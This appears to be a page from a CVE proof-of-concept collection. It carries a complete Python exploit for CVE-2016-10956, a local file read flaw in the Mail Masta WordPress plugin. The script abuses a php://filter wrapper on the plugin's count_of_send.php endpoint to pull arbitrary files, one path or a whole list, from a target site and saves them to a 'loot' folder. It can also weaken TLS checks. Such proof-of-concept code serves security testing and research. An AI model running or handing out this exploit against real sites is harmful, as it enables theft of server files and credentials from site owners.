4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2016-10956_mail_masta.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : CVE-2016-10956_mail_masta.py
# Author             : Podalirius (@podalirius_)
# Date created       : 29 Oct 2021

import argparse
import requests
import base64
import os
from rich.progress import track

print("[+] Mail Masta - Local File Read (CVE-2016-10956)\n")


def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose mode")
    parser.add_argument("-s", "--only-success", dest="only_success", action="store_true", default=False, help="Only print successful read file attempts.")
    parser.add_argument("-t", "--target", dest="target_url", action="store", type=str, required=True, help="URL of the wordpress to connect to.")
    files_source = parser.add_mutually_exclusive_group()
    files_source.add_argument("-f", "--file", dest="file", action="store", type=str, help="Remote file to read.")
    files_source.add_argument("-F", "--filelist", dest="filelist", action="store", type=str, help="File containing a list of paths to files to read remotely.")
    parser.add_argument("-D", "--dump-dir", dest="dump_dir", action="store", type=str, default="./loot/", required=False, help="Directory where the dumped files will be stored.")
    parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
    parser.add_argument("-r", "--raw", dest="raw", action="store_true", default=False, help="Raw dump of the file without php base64 wrapper (default: False)")
    return parser.parse_args()


def dump_file(url, basepath, filepath, only_success=False, rawdump=False):
    def b_filesize(file):
        l = len(file)
        units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB']
        k = 0
        for k in range(len(units)):
            if l < (1024 ** (k + 1)):
                break
        return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k])

    #
    if rawdump == True:
        link = "%s/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=%s" % (url, filepath)
    else:
        link = "%s/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/read=convert.base64-encode/resource=%s" % (url, filepath)
    r = requests.get(link)
    if len(r.content) != 0:
        if rawdump == True:
            file = r.content
        else:
            file = base64.b64decode(r.content)
        print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(file), filepath))
        dir = basepath + os.path.dirname(filepath)
        if not os.path.exists(dir):
            os.makedirs(dir, exist_ok=True)
        f = open(basepath + filepath, "wb")
        f.write(file)
        f.close()
        return True
    else:
        if only_success != True:
            print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", filepath))
        return False


if __name__ == '__main__':
    options = parseArgs()

    if not options.target_url.startswith('http://') and not options.target_url.startswith('https://'):
        options.target_url = 'http://' + options.target_url

    if options.insecure_tls:
        # Disable warings of insecure connection for invalid cerificates
        requests.packages.urllib3.disable_warnings()
        # Allow use of deprecated and weak cipher methods
        requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        try:
            requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        except AttributeError:
            pass
    if options.filelist:
        if os.path.exists(options.filelist):
            f = open(options.filelist, 'r')
            list_of_files = [l.strip() for l in f.readlines() if len(l.strip()) != 0]
            f.close()
            for file in track(list_of_files):
                dump_file(options.target_url, options.dump_dir, file, only_success=options.only_success, rawdump=options.raw)
        else:
            print('\x1b[91m[!] Cannot read file %s\x1b[0m' % options.filelist)
    elif options.file:
        dump_file(options.target_url, options.dump_dir, options.file, only_success=options.only_success, rawdump=options.raw)